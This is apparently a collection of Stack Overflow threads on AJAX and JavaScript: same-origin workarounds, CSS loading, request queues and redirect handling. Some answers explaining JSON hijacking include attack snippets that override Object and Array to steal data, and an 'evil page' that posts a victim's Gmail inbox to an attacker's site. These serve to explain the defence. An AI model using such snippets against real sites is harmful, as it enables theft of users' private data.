This could be transformed into non-jQuery JavaScript, but then you would lose the functionality that Ben Alman delivers, which is crucial for a portable solution.
What you want is a way to support history in AJAX which can be done using many already existing libraries. I would recommend reading YUI 3 page on history.
Google returns json like this:
throw 1; <dont be evil> { foo: bar}
and Facebooks ajax has json like this:
for(;;); {"error":0,"errorSummary": ""}
In response to it being for security purposes:
If the scraper is on another domain they would have to use a script tag to get the data because XHR won't work cross-domain. Even without the for(;;); how would the attacker get the data? It's not assigned to a variable so wouldn't it just be garbage collected because there's no references to it?
Basically to get the data cross domain they would have to do
<script src="http://target.com/json.js"></script>
But even without the crash script prepended the attacker can't use any of the Json data without it being assigned to a variable that you can access globally (it isn't in these cases). The crash code effectivly does nothing because even without it they have to use server sided scripting to use the data on their site.
Even without the
for(;;);how would the attacker get the data?
Attacks are based on altering the behaviour of the built-in types, in particular Object and Array, by altering their constructor function or its prototype. Then when the targeted JSON uses a {...} or [...] construct, they'll be the attacker's own versions of those objects, with potentially-unexpected behaviour.
For example, you can hack a setter-property into Object, that would betray the values written in object literals:
Object.prototype.__defineSetter__('x', function(x) {
alert('Ha! I steal '+x);
});
Then when a <script> was pointed at some JSON that used that property name:
{"x": "hello"}
the value "hello" would be leaked.
The way that array and object literals cause setters to be called is controversial. Firefox removed the behaviour in version 3.5, in response to publicised attacks on high-profile web sites. However at the time of writing Safari (4) and Chrome (5) are still vulnerable to this.
Another attack that all browsers now disallow was to redefine constructor functions:
Array= function() {
alert('I steal '+this);
};
[1, 2, 3]
And for now, IE8's implementation of properties (based on the ECMAScript Fifth Edition standard and Object.defineProperty) currently does not work on Object.prototype or Array.prototype.
But as well as protecting past browsers, it may be that extensions to JavaScript cause more potential leaks of a similar kind in future, and in that case chaff should protect against those too.
EDIT
These strings are commonly referred to as an "unparseable curft" and they are used to patch an information leakage vulnerability that affects the JSON specification. This attack is real world and a vulnerability in gmail was discovered by Jeremiah Grossman. Mozilla also believes this to be a vulnerability in the JSON specification and it has been patched in Firefox 3. However because this issue still affects other browsers this "unparseable curft" is required because it is a compatible patch.
Bobice's answer has a technical explanation of this attack and it is correct.
Consider that, after checking your GMail account, that you go visit my evil page:
<script type="text/javascript">
Object = function() {
ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>
What will happen now is that the Javascript code that comes from Google -- which the asker thought would be benign and immediately fall out of scope -- will actually be posted to my evil site. Suppose that the URL requested in the script tag sends (because your browser will present the proper cookie, Google will correctly think that you are logged in to your inbox):
({
messages: [
{
id: 1,
subject: 'Super confidential information',
message: 'Please keep this to yourself: the password is 42'
},{
id: 2,
subject: 'Who stole your password?',
message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
}
]
})
Now, I will be posting a serialized version of this object to my evil server. Thank you!
The way to prevent this from happening is to cruft up your JSON responses, and decruft them when you, from the same domain, can manipulate that data. If you like this answer, please accept the one posted by bobince.
How do they parse it if it's invalid and would crash if you tried to eval it?
It's a feature that it would crash if you tried to eval it. eval allows arbitary JavaScript code, which could be used for a cross-site scripting attack.
Do they just remove it from the string (seems expensive)?
I imagine so. Probably something like:
function parseJson(json) {
json = json.replace("throw 1; <dont be evil>", "");
if (/* regex to validate the JSON */) {
return eval(json);
} else {
throw "XSS";
}
}
The "don't be evil" cruft prevents developers from using eval directly instead of a more secure alternative.
Just another case of superstition. I am sure someone will find a logically sounding rationalization for it.
As every web developer finds out the hard way sooner or later, IE does not apply css styles loaded via ajax. I know I could just put that css in a more global place, but I'm wondering if there happens to be some "hack" or "trick" to get around this. Perhaps there is some javascript magic?
UPDATE WITH EXAMPLE:
For example, say you have a div named "jane":
<div id="jane">Hola Mundo!</div>
You make an ajax request that updates jane. Now jane looks like this:
<div id="jane">
<style type="text/css">
#sally {color:#0F0;}
</style>
<div id="sally">Hi, I'm Sally!</div>
</div>
In all browsers but IE sally's font will be green. So, how can I make sally be green in IE without adding that css to my global css file or the likes?
Update:
For the record, my guess is that there's just not a way to do it. At least not cleanly.
The style tag is only allowed in the head section. Placing it somewhere else is simply invalid and that has nothing to do with IE.
By the way, to solve your problem if you can´t put the styles in a global style-sheet, you can use the 'style' attribute to modify elements:
<p style="...">
Or you can use an iframe but then you'd have to serve a whole page instead of just a few tags.
You might want to start using jQuery's .CSS methed for dynamic style changes like that.
$("#jane").css('color', '#0F0');
Or just plain jane Javascript:
document.getElementById['sally'].style.color = '#0F0';
EDIT:
Have your ajax inject this:
<div id="jane">
<div id="sally">Hi, I'm Sally!</div>
<script>document.getElementById['sally'].style.color = '#0F0';</script>
</div>
Or Why not just inject elements with inline styles computed server side?:
<div id="jane">
<div id="sally" style="color:#0F0">Hi, I'm Sally!</div>
</div>
Tybro,
I was once looking for you automagic as well. I think iframes is the way to go -- not ajax. It loads what's inside the <head> tags and IE6+ will apply the style sheet as soon as it loads.
The only drawback is iframes are expensive (zzzzzz....)
One other thought (a "valid" thought in fact) is to shove this into your ajax callback request:
var automagicStyler = function(stylefile) {
var link = document.createElement('link');
link.href = stylefile;
link.rel = 'stylesheet';
link.type = 'text/css';
document.createElement('head');
document.getElementsByTagName('head')[0].appendChild(link);
};
automagicStyler('mystylefile2.css');
Have the ajax do its thing and then create head tags in which to embed your stylesheet. I haven't tried it but it sounds like maybe/maybe.
If not, give in to iframes. A bit clunky and old school compared to "ajaxxxxx" but it'll do the trick.
Best of luck!
Is there a way to disable the same origin policy on Google's Chrome browser? This is strictly for development, not production, use.
Close chrome (or chromium) and restart with the --disable-web-security argument. I just tested this and verified that I can access the contents of an iframe with src="http://google.com" embedded in a page served from "localhost" (tested under chromium 5 / ubuntu). For me the exact command was:
chromium-browser --disable-web-security
From the chromium source:
// Don't enforce the same-origin policy. (Used by people testing their sites.)
const wchar_t kDisableWebSecurity[] = L"disable-web-security";
Yep. For Mac, open Terminal and run:
$ open -a Google\ Chrome --args --disable-web-security
Also if you're trying to access local files for dev purposes like AJAX or JSON, you can use this flag too.
-?allow-file-access-from-files
For PC go into the command prompt and go into the folder where Chrome.exe is and type
chrome.exe --disable-web-security
That should disable the same origin policy and allow you to access local files.
Probably not.
I use the URL rewriting features of Charles Proxy to map remote HTTP APIs to URLs that appear to point to my development server when I need to do that kind of thing.
Answered in http://stackoverflow.com/questions/330427/can-i-disable-sop-same-origin-policy-on-any-browser-for-development.
1st result for Google: disable same origin policy.
I wanted to make a community wiki regarding HTML/JS same-origin policies to hopefully help anyone searching for this topic. This is one of the most searched-for topics on SO and there is no consolidated wiki for it so here I go :)
The same origin policy prevents a document or script loaded from one origin from getting or setting properties of a document from another origin. This policy dates all the way back to Netscape Navigator 2.0.
Please keep examples verbose and preferably also link your sources.
document.domain methodNote that this is an iframe method that sets the value of document.domain to a suffix of the current domain. If it does so, the shorter domain is used for subsequent origin checks. For example, assume a script in the document at http://store.company.com/dir/other.html executes the following statement:
document.domain = "company.com";
After that statement executes, the page would pass the origin check with http://company.com/dir/page.html. However, by the same reasoning, company.com could not set document.domain to othercompany.com.
With this method, you would be allowed to exectue javascript from an iframe sourced on a subdomain on a page sourced on the main domain. This method is not suited for cross-domain resources as browsers like Firefox will not allow you to change the document.domain to a completely alien domain.
Source: https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript
Cross-Origin Resource Sharing (CORS) is a W3C Working Draft that defines how the browser and server must communicate when accessing sources across origins. The basic idea behind CORS is to use custom HTTP headers to allow both the browser and the server to know enough about each other to determine if the request or response should succeed or fail.
For a simple request, one that uses either GET or POST with no custom headers and whose body is text/plain, the request is sent with an extra header called Origin. The Origin header contains the origin (protocol, domain name, and port) of the requesting page so that the server can easily determine whether or not it should serve a response. An example Origin header might look like this:
Origin: http://www.stackoverflow.com
If the server decides that the request should be allowed, it sends a Access-Control-Allow-Origin header echoing back the same origin that was sent or * if it?s a public resource. For example:
Access-Control-Allow-Origin: http://www.stackoverflow.com
If this header is missing, or the origins don?t match, then the browser disallows the request. If all is well, then the browser processes the request. Note that neither the requests nor responses include cookie information.
The Mozilla team suggests in their post about CORS that you should check for the existence of the withCredentials property to determine if the browser supports CORS via XHR. You can then couple with the existence of the XDomainRequest object to cover all browsers:
function createCORSRequest(method, url){
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr){
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined"){
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
return xhr;
}
var request = createCORSRequest("get", "http://www.stackoverflow.com/");
if (request){
request.onload = function() {
// ...
};
request.onreadystatechange = handler;
request.send();
}
Note that for the CORS method to work, you need to have access to any type of server header mechanic and can't simply access any third-party resource.
Source: http://www.nczonline.net/blog/2010/05/25/cross-domain-ajax-with-cross-origin-resource-sharing/
window.postMessage methodwindow.postMessage, when called, causes a MessageEvent to be dispatched at the target window when any pending script that must be executed completes (e.g. remaining event handlers if window.postMessage is called from an event handler, previously-set pending timeouts, etc.). The MessageEvent has the type message, a data property which is set to the string value of the first argument provided to window.postMessage, an origin property corresponding to the origin of the main document in the window calling window.postMessage at the time window.postMessage was called, and a source property which is the window from which window.postMessage is called.
To use window.postMessage, an event listener must be attached:
// Internet Explorer
window.attachEvent('onmessage',receiveMessage);
// Opera/Mozilla/Webkit
window.addEventListener("message", receiveMessage, false);
And a receiveMessage function must be declared:
function receiveMessage(event)
{
// do something with event.data;
}
The off-site iframe must also send events properly via postMessage:
<script>window.parent.postMessage('foo','*')</script>
Any window may access this method on any other window, at any time, regardless of the location of the document in the window, to send it a message. Consequently, any event listener used to receive messages must first check the identity of the sender of the message, using the origin and possibly source properties. This cannot be understated: Failure to check the origin and possibly source properties enables cross-site scripting attacks.
Source: https://developer.mozilla.org/en/DOM/window.postMessage
Setting up a simple reverse proxy on the server, will allow the browser to use relative paths for the Ajax requests, while the server would be acting as a proxy to any remote location.
If using mod_proxy in Apache, the fundamental configuration directive to set up a reverse proxy is the ProxyPass. It is typically used as follows:
ProxyPass /ajax/ http://other-domain.com/ajax/
In this case, the browser would be able to request /ajax/web_service.xml as a relative URL, but the server would serve this by acting as a proxy to http://other-domain.com/ajax/web_service.xml.
One interesting feature of the this method is that the reverse proxy can easily distribute requests towards multiple back-ends, thus acting as a load balancer.
I use JSONP.
Basically, you add
<script src="http://..../someData.js?callback=some_func"/>
on your page.
some_func() should get called so that you are notified that the data is in.
The most recent way of overcoming the same-origin policy that I've found is http://anyorigin.com/
The site's made so that you just give it any url and it generates javascript/jquery code for you that lets you get the html/data, regardless of it's origin. In other words, it makes any url or webpage a JSONP request.
I've found it pretty useful :)
Here's some example javascript code from anyorigin:
$.getJSON('http://anyorigin.com/get?url=google.com&callback=?', function(data){
$('#output').html(data.contents);
});
AnyOrigin didn't function well with some https sites, so I just wrote an open source alternative called whateverorigin.org that seems to work well with https.
The JSONP comes to mind:
JSONP or "JSON with padding" is a complement to the base JSON data format, a usage pattern that allows a page to request and more meaningfully use JSON from a server other than the primary server. JSONP is an alternative to a more recent method called Cross-Origin Resource Sharing.
I can't claim credit for this image, but it matches everything I know on this subject and offers a bit of humor at the same time.
Personally, window.postMessage is the most reliable way that I've found for modern browsers. You do have to do a slight bit more work to make sure you're not leaving yourself open to XSS attacks, but it's a reasonable tradeoff.
There are also several plugins for the popular Javascript toolkits out there that wrap window.postMessage that provide similar functionality to older browsers using the other methods discussed above.
Well, I used curl in PHP to circumvent this. I have a webservice running in port 82.
<?php
$curl = curl_init();
$timeout = 30;
$ret = "";
$url="http://localhost:82/put_val?val=".$_GET["val"];
curl_setopt ($curl, CURLOPT_URL, $url);
curl_setopt ($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($curl, CURLOPT_MAXREDIRS, 20);
curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5");
curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, $timeout);
$text = curl_exec($curl);
echo $text;
?>
Here is the javascript that makes the call to the PHP file
function getdata(obj1, obj2) {
var xmlhttp;
if (window.XMLHttpRequest)
xmlhttp=new XMLHttpRequest();
else
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("txtHint").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","phpURLFile.php?eqp="+obj1+"&val="+obj2,true);
xmlhttp.send();
}
My HTML runs on WAMP in port 80. So there we go, same origin policy has been circumvented :-)
While surfing facebook and using the Firebug network debugger I noticed that facebook's AJAX responses all start with an empty for loop.
Example:
for(;;);{...}
Does anyone know why this is done? I assume it's to prevent some sort of XSS attack but I don't totally understand. Thanks!
Like google's
while(1);
it done for preventing of including this in <script> with further using the data
We have a tabbed interface, inside one of these tabs is a privacy form. This privacy form, as well as using an external JavaScript file for the bulk of its work, also uses inline JavaScript as it currently relies on dynamic code (in the server side language).
...
<script type ="text/javascript">
var messagingTabset = ProjectName.Tabset.init({
'tabID': 'preferences-tabset',
'ajaxUrl0': '<%=Url.Action("PreferencesMainForm", "Profile")%>',
'ajaxUrl1': '<%=Url.Action("ProfileImageForm", "Profile")%>',
'ajaxUrl2': '<%=Url.Action("InterestsForm", "Profile")%>',
'ajaxUrl3': '<%=Url.Action("PrivacyForm", "Profile")%>',
'ajaxUrl4': '<%=Url.Action("PasswordForm", "Profile")%>',
'ajaxUrl5': '<%=Url.Action("CustomUrlForm", "Profile", new {userId = Model.UserId})%>',
'defaultAjaxUrl': '<%=Url.Action(Model.PartialName, "Profile")%>'
});
</script>
...
...
<script type = "text/javascript">
var preferencesPrivacyForm = new ProjectName.AJAX.Form({
"ajaxFormID": "preferences-privacy-form",
"actionUrl": '<%= Url.Action("SavePrivacy","Profile") %>',
"dataReturnType":"json"
});
</script>
...
Back end developer: "The configuration JavaScript Code for this form should stay in privacyForm view"
Front end developer: "Hmm, I'm sure I"ve read that this is not the way to do this - unreliable, all the JavaScript should be inside the HTML page that contains the tabs wrapper, inside a callback function of that tabs load. You should really a) provide the logic for me get that dynamic data inside the tabs-wrapper or b) let me grab those dynamic variables via DOM traversal"
Back end developer: "Both of these methods are lots of work for no real pay off! The first example is bad because it means I'm going to have to change the way its built (and works fine). This is probably going to mean duplication. The second example is dodgy as the markup could change, so somebody working on the code might forget to edit the DOM traversal methods in the tabs-wrapper. It's another level of abstraction that we don't need. If you provide me with some evidence about why this is really really bad, than I'll check it out, but otherwise I can't justify putting the time in"
Front end developer: 'Well, I've already wasted a few days, fixing problems with AJAX loaded JavaScript by putting them in callbacks of their wrappers, but yeah now you think about it, a good reference on this kind of thing would be really nice, because you are right, at the moment, the application is running without any problems.'
This is one of many examples throughout a large application where we are loading inline JavaScript with Ajax.
Should I be convincing the back-end developer that we should be using callbacks, or am I missing something?
It isn't really "bad" as long as it serves a purpose (for example, it loads content from other websites like the WordPress dashboard), but making all the extra calls to the server is a waste of resources unless you absolutely have to do it.
Usually, the simplest answer is the most correct one. In this case, it means not adding all the extra overhead to avoid slightly recoding a back-end.
I would recommend reading Dale Carnegie's How to Win Friends and Influence People.
It seems developers constantly get into this situation, where they know what is the best thing to do, but they get no buy in from other developers or management.
This book is definitely worth reading; an absolute MUST read for this profession.
This is the core of the argument with why unobtrusive Javascript (UJS) is good. I never understood its merit because I did not know how to solve problems without inline Javascript. I eventually learned.
First of all, UJS is good because it separates your front end code as follows:
To make them work together, the HTML file loads in external CSS files to define styles and external Javascript files to define behaviour. Furthermore, you need well-known symbols in your HTML (such as id's, class names and tags), your CSS (id and class rules), so that your Javascript can manipulate the structure, layout, and styling according to implement the behaviour.
With a Javascript framework such as jQuery, you can dynamically bind javascript handlers to events on your various HTML DOM objects. This lets you avoid doing it inline within the HTML.
I have worked with code that is is cleanly separated (structure, style/layout, behaviour), and code that is a dog's breakfast of HTML, CSS, and Javascript, including HTML/JS code that was dynamically generated using ERB. Both were difficult to understand for different reasons. The first one was hard because I had to understand what was in each of the files, while the mixed code was hard to understand because I had to figure out what was JS, what was HTML, what was CSS, what initialized when, and what was generated. However, once I rode the learning curve, evolving the cleanly separated code was less work and easier to test.
For generated Javascript (e.g. with ERB), you can usually structure the code where you have static javascript driven by some user-specific or context-specific data. As suggested by a previous person, you can just set the values for that data in the HEAD section and then go with static Javascript files. You could also use an AJAX call to grab that same data from the server.
From a short-term business perspective, the back end guy is right. If it works, don't fix it. From the view of the medium-term, it will cost your team more to evolve and maintain your code if you don't cleanly separate your HTML, CSS, and Javascript with UJS. From your business perspective, it will be painful for you to maintain and evolve the code as it is today. From the business perspective of the back-end guy, it will cost him more if he does anything other than what works today. i.e. Your team leader and architect needs to balance the various business perspectives to determine which way to structure your code.
It's not clear from the example why you would need AJAX in the first place. Why not just put
<script type ="text/javascript">
var userId = "<<<<= userId >>>>"
</script>
directly into the HTML head? It is faster for the user, easier on the server, and you avoid all sort of pains with timing and error handling for failed requests.
I find I sometimes need to iterate some collection and make an ajax call for each element. I want each call to return before moving to the next element so that I don't blast the server with requests - which often leads to other issues. And I don't want to set async to false and freeze the browser.
Usually this involves setting up some kind of iterator context that i step thru upon each success callback. I think there must be a cleaner simpler way?
Does anyone have a clever design pattern for how to neatly work thru a collection making ajax calls for each item?
I developed an $.ajaxQueue() plugin that uses the $.Deferred, .queue(), and $.ajax() to also pass back a promise that is resolved when the request completes.
/*
* jQuery.ajaxQueue - A queue for ajax requests
*
* (c) 2011 Corey Frang
* Dual licensed under the MIT and GPL licenses.
*
* Requires jQuery 1.5+
*/
(function($) {
// jQuery on an empty object, we are going to use this as our Queue
var ajaxQueue = $({});
$.ajaxQueue = function( ajaxOpts ) {
var jqXHR,
dfd = $.Deferred(),
promise = dfd.promise();
// queue our ajax request
ajaxQueue.queue( doRequest );
// add the abort method
promise.abort = function( statusText ) {
// proxy abort to the jqXHR if it is active
if ( jqXHR ) {
return jqXHR.abort( statusText );
}
// if there wasn't already a jqXHR we need to remove from queue
var queue = ajaxQueue.queue(),
index = $.inArray( doRequest, queue );
if ( index > -1 ) {
queue.splice( index, 1 );
}
// and then reject the deferred
dfd.rejectWith( ajaxOpts.context || ajaxOpts,
[ promise, statusText, "" ] );
return promise;
};
// run the actual query
function doRequest( next ) {
jqXHR = $.ajax( ajaxOpts )
.then( next, next )
.done( dfd.resolve )
.fail( dfd.reject );
}
return promise;
};
})(jQuery);
If you're using jQuery 1.4, you can utilize the animation queue on an empty object to create your own "queue" for your ajax requests for the elements.
You can even factor this into your own $.ajax() replacement. This plugin $.ajaxQueue() uses the standard 'fx' queue for jQuery, which will auto-start the first added element if the queue isn't already running.
(function($) {
// jQuery on an empty object, we are going to use this as our Queue
var ajaxQueue = $({});
$.ajaxQueue = function(ajaxOpts) {
// hold the original complete function
var oldComplete = ajaxOpts.complete;
// queue our ajax request
ajaxQueue.queue(function(next) {
// create a complete callback to fire the next event in the queue
ajaxOpts.complete = function() {
// fire the original complete if it was there
if (oldComplete) oldComplete.apply(this, arguments);
next(); // run the next query in the queue
};
// run the query
$.ajax(ajaxOpts);
});
};
})(jQuery);
So, we have a <ul id="items"> which has some <li> that we want to copy (using ajax!) to the <ul id="output">
// get each item we want to copy
$("#items li").each(function(idx) {
// queue up an ajax request
$.ajaxQueue({
url: '/ajax_html_echo/',
data: {html : "["+idx+"] "+$(this).html()},
type: 'POST',
success: function(data) {
// Write to #output
$("#output").append($("<li>", { html: data }));
}
});
});
You can wrap all that complexity into a function to make a simple call that looks like this:
loadSequantially(['/a', '/a/b', 'a/b/c'], function() {alert('all loaded')});
Below is a rough sketch (working example, except the ajax call). This can be modified to use a queue-like structure instead of an array
// load sequentially the given array of URLs and call 'funCallback' when all's done
function loadSequantially(arrUrls, funCallback) {
var idx = 0;
// callback function that is called when individual ajax call is done
// internally calls next ajax URL in the sequence, or if there aren't any left,
// calls the final user specified callback function
var individualLoadCallback = function() {
if(++idx >= arrUrls.length) {
doCallback(arrUrls, funCallback);
}else {
loadInternal();
}
};
// makes the ajax call
var loadInternal = function() {
if(arrUrls.length > 0) {
ajaxCall(arrUrls[idx], individualLoadCallback);
}else {
doCallback(arrUrls, funCallback);
}
};
loadInternal();
};
// dummy function replace with actual ajax call
function ajaxCall(url, funCallBack) {
alert(url)
funCallBack();
};
// final callback when everything's loaded
function doCallback(arrUrls, func) {
try {
func();
}catch(err) {
// handle errors
}
};
Ideally, a coroutine with multiple entry points so every callback from server can call the same coroutine will be neat. Damn, this is about to be implemented in Javascript 1.7.
Let me try using closure...
function BlockingAjaxCall (URL,arr,AjaxCall,OriginalCallBack)
{
var nextindex = function()
{
var i =0;
return function()
{
return i++;
}
};
var AjaxCallRecursive = function(){
var currentindex = nextindex();
AjaxCall
(
URL,
arr[currentindex],
function()
{
OriginalCallBack();
if (currentindex < arr.length)
{
AjaxCallRecursive();
}
}
);
};
AjaxCallRecursive();
}
// suppose you always call Ajax like AjaxCall(URL,element,callback) you will do it this way
BlockingAjaxCall(URL,myArray,AjaxCall,CallBack);
I use http://developer.yahoo.com/yui/3/io/#queue to get that functionality.
The only solutions I can come up with is, as you say, maintaining a list of pending calls / callbacks. Or nesting the next call in the previous callback, but that feels a bit messy.
What's the best framework (sort of jquery, extjs, etc like) to use if I'd like to intensively use all the freshest technologies of the HTML5 stack provided by modern browsers (Firefox 7, Safari 5, Chrome 14) and have absolutely no need to support any legacy browsers (incl. no need in IE support at all and no need in Firefox or Chrome prior to the latest stable releases)? I'd like to get all the newest available goodness without having (even abstracted by a library layer) a line of code meant just fore legacy compatibility or keeping any legacy-induced things in mind.
To soften the filter, taking very humble hope of such an ideally fresh framework to exist, the least (the maximum level of legacy support) I'd like to agree is not supporting IE versions older than IE8, or better just not supporting IE at all.
I am really having a hard time reconciling this idea after a serious thought. Assuming such a framework exists, it would only be as good as the current implementation status in any one browser. Let's say there are only two browsers and the HTML5 implementation status looks like this:
Browser | Feature X | Feature Y
-------------------------------
A | ? | ?
B | ? | ?
Then your most bleeding-edge HTML5 application can either have X or Y, but not both. If the features your application needs are available on the latest versions of most major browsers, then that feature is not bleeding-edge. It would have been bleeding-edge a year ago.
So depending on the project scope and goals, the most B-E application that can be written will conform to a single browser (the one that offers all/most of the features needed for your application).
If you're writing for a lone browser and do not want to fix any implementations deviations from the spec (as the spec is not yet finalized), then it's basically writing code for that chosen browser regardless of any specs.
If that is the case, then a framework is basically extra baggage to carry around. Instead, shortcuts for most commonly used APIs and other general simplifications would be the best way to go.
That said, if you're goal is to have a framework that vastly simplifies the HTML5 APIs oblivious of where the browsers stand today, then I would love to contribute towards that project.
Sproutcore is another one that sort of fits your opening description "How do we build blazingly fast, desktop-class web applications?". Apple are interested in it and i have heard good reports.
Another approach would be Apples Dashcode. It use html(5) css(3) and JavaScript to build both Mac Widgets but also Web based sites. Essentially because it has little or no legacy it will only run effectively in Safari and Google Chrome, less that effectively in Firefox and not at all in IE.
To use Cappuccino (mentioned in another answer and a good idea to look at) and Sproutcore you you will be more productive on a Mac and Dashcode definitely needs a Mac as you will need to install Xcode to get Dashcode
What about Cappuccino? I don't really know how much HTML5/CSS3 it supports, but it requires IE7 at minimum. It is focused on web app development, not site-building, so it may not be what you're looking for in that regard.
See:
Not exactly an answer, but I think this will be beneficial for the discussion:
GWT's approach (cross-compiling Java to JavaScript with deferred binding) is in line with your point about getting the minimal amount of JS code, without the burden of making all the browser abstractions in client side code, and carrying around all the weight of that code plus the weight of legacy browser support code.
I'm not sure if the current level of granularity by which it produces optimized per-browser versions is the one you're talking about, but the technology enables it.
Also, not sure about out-of-the-box bleeding edge HTML 5 feature support, but again - one could write such libraries (if they're not there already), and they will benefit from the same deferred binding mechanism, and you can compile just for the browser permutations you want to support.
I've spent the past hour hacking away at this: I want to write a Javscript routine to programatically untag myself from photos on Facebook. Once it works, I'll run it in the Firebug console and untag myself from all Facebook photos (there's no way to do this through the GUI).
I wanted to see if you guys had some advice to get me on my journey.
I have a few methods in mind but haven't come too far along quite yet. I've tried an AJAX approach by creating a new HTML request and pointing it to the remove_tag URL, which looks something like this:
/ajax/photo_tagging_ajax.php?pid=(PICTURE_ID)&id=(PICTURE_OWNER_ID)&subject=(SOMETHING)&name=(YOUR+NAME)&action=remove
Not surprisingly, this doesn't work (yet). I've been checking the HTTP response in Firebug and it's quite different than the one when I actually untag a picture. It's not even sending a POST request.
Just to clarify, I've also tried doing a getElementById on the "remove tag" anchor, and then doing a document.location switcharoo, but that doesn't work. I also can't do a .click() on it.
Will this even be possible or am I dreaming? (it's almost 4AM)
From DCoder, via Hacker News:
Using Firebug, FireQuery, jQuery no conflict as $jq, from inside a photo page (http://www.facebook.com/photo.php?pid=xxx&id=y) :
var loc = window.location.href.match(/pid=(\d+)&id=(\d+)/);
var args = {
pid: loc[1], // photo ID
id: loc[2], // request sender id? photo owner id? not sure, haven't tested, but my user ID worked when trying to remove someone from a photo in my album
subject: loc[2], // user ID to remove
name: '', // not checked
action: 'remove',
__a: 1,
fb_dtsg: $jq('input[name="fb_dtsg"]').val(),
post_form_id: $jq('#post_form_id').val(),
post_form_id_source: 'AsyncRequest'
};
$jq.post('/ajax/photo_tagging_ajax.php', args);
It doesn't update the UI. The fb_dtsg and post_form_id are required and seem to be anti-CSRF tokens. Haven't experimented enough to know if they can be reused multiple times.
Since I'm not sure if you picked up my updated version at HN:
var loc = window.location.href.split('?')[1].split('#')[0].split('&');
var qs = {};
$jq.each(loc, function(ix, el) {
var m = el.split('='), k = m[0], v = m[1];
qs[k] = v;
});
var args = {
pid: qs.pid, // photo ID
id: qs.id, // photo owner ID
subject: Env.user, // user ID to remove
name: '', // not checked
action: 'remove',
__a: 1,
fb_dtsg: Env.fb_dtsg,
post_form_id: Env.post_form_id,
post_form_id_source: 'AsyncRequest'
};
$jq.post('/ajax/photo_tagging_ajax.php', args);
Chickenfoot http://groups.csail.mit.edu/uid/chickenfoot/ is a Firefox plugin that might be an alternative to using the Firebug console: you can write macros/scripts to automate repetitive tasks in your browser. The actions you code for are no different to you actually clicking, populating forms or whatever yourself. As far as I can remember there is a DOM interface for traversing html etc.
First, I'm working in Google Chrome, if that helps. Here is the behavior:
I send an xhr request via jQuery to a remote site (this is a chrome Extension, and I've set all of the cross-site settings...):
$.ajax({
type: "POST",
contentType : "text/xml",
url: some_url,
data: some_xml,
username: user,
password: pass,
success: function(data,status,xhr){
alert(data);
},
error: function(xhr, status, error){
alert(xhr.status);
}
});
The URL that is being set returns a 302 (this is expected), and Chrome follows the redirect (also expected).
The new URL returns a prompt for credentials, which are not being pulled from the original request, so Chrome shows a login dialog. If I put in the original credentials, I get back a response about invalid request sent (it's a valid HTTP request -- 200 -- the remote server just doesn't like one of the headers).
When viewing the developer window in Chrome, there are two requests sent. The first is to the original URL with all settings set in the AJAX request. The second is to the redirect URL, with a method of "GET", nothing from the "POST" field, and no credentials.
I am at a loss as to what I can do. I either need to:
Get the redirect URL so I can send a second request (xhr.getResponseHeader("Location") does NOT work),
Have the new redirect request preserver the settings from the original request, or
Get the final URL that the error came from so I can send another request.
Ideally I don't want the user to have to put in their credentials a second time in this dialog box, but I'll take what I can get if I can just get the final URL.
Based on your question, I am not entirely sure if you are referring to HTTP Authentication or a form-based authentication scheme, and therefore I will address both.
Get the redirect URL so I can send a second request (xhr.getResponseHeader("Location") does NOT work),
With the way XHR is built in general (and in Chrome specifically): XHR is not very flexible, and provides a relatively high-level API, with the same behavior the browser has in all other requests (address bar urls, image source urls, embedded script urls), i.e. redirects are handled transparently. No events will be thrown in the JavaScript alerting you of this redirect or the intermediate 302/301 status codes, you will only receive the final status code and data. Therefore, it is impossible to retrieve the "Location" header from the response, as the final response will not contain the "Location" header.
Have the new redirect request preserver the settings from the original request,
XHR does not provide this as an option and it would be an incorrect default behavior. Example for why this would and should not happen for default:
Acme corp provides a URL short-linking service for its employees. I click on a short-link I receive from a co-worker and am prompted with HTTP authentication by Acme's short-linking service. The redirect occurs following this authentication. There is no reason the site being redirected to should require my credentials, and therefore it would be incorrect behavior for the browser to pass this information on (and in fact a security issue). Similarly, POST data should not be forwarded as it could only be intended for consumption by the pre-direct URL .
Get the final URL that the error came from so I can send another request.
Unfortunately, for security reasons, and standards definition, the standard XHR object (including the one Chrome uses for cross-site requests in extensions) does not provide any way to access the final URL which has an error. You can only access the final HTTP status and any data returned by the final URL.
--
Given this, you have a few options depending on how much control you have over the situation:
1) If you have control over the redirection server, consider including info. in your AJAX requests indicating an AJAX client, and have the server instead return data (i.e. a json object) indicating that a redirect should be made.
Or, if it is the intention to always pass on authentication data, consider implementing some mechanism for session-passing or including authentication info. in the URL being redirected to so the destination URL can consume this info.
2) If you have control over the destination of the redirect, consider including the URL of the destination when generating an authentication failure page. The XHR object will have access to this response data and can parse it to proceed with a new request.
3) If you have no control over either the redirection site or the destination site, consider hosting a proxying server to handle requests and catch 302's specifically.
http://myserver/?url=http://redirectsite.com&user=...&pass=...
4) If none of the above are options, the least desirable, yet viable option, is to build an NPAPI extension for Chrome that runs native code. This will give you full control over requests, and allow you to do pretty much anything. However, note this is at the expense of more complex development, potential security issues, and less user desirability.
Unfortunately there is no way to prevent xhr from auto-following redirects or set credentials for the redirect destination (it would be rather insecure anyway since that would allow the first site to redirect the credentials to any site, not only the one you want to get them).
You could try the type of solution described here: How to manage a redirect request after a JQuery Ajax call
That means in fact superseding HTTP protocol, you'll need to control the server as well. All ajax responses will be in code 200 (or at least the 3xx ones, not the 401/403) with a json object. and in this json object you can provide some special error code (why not reusing
Then you extends jQuery.ajax function to capture theses special codes in your json response and make the new requests needed. In fact the automatic jQuery redirect call is done by you and not by jQuery.
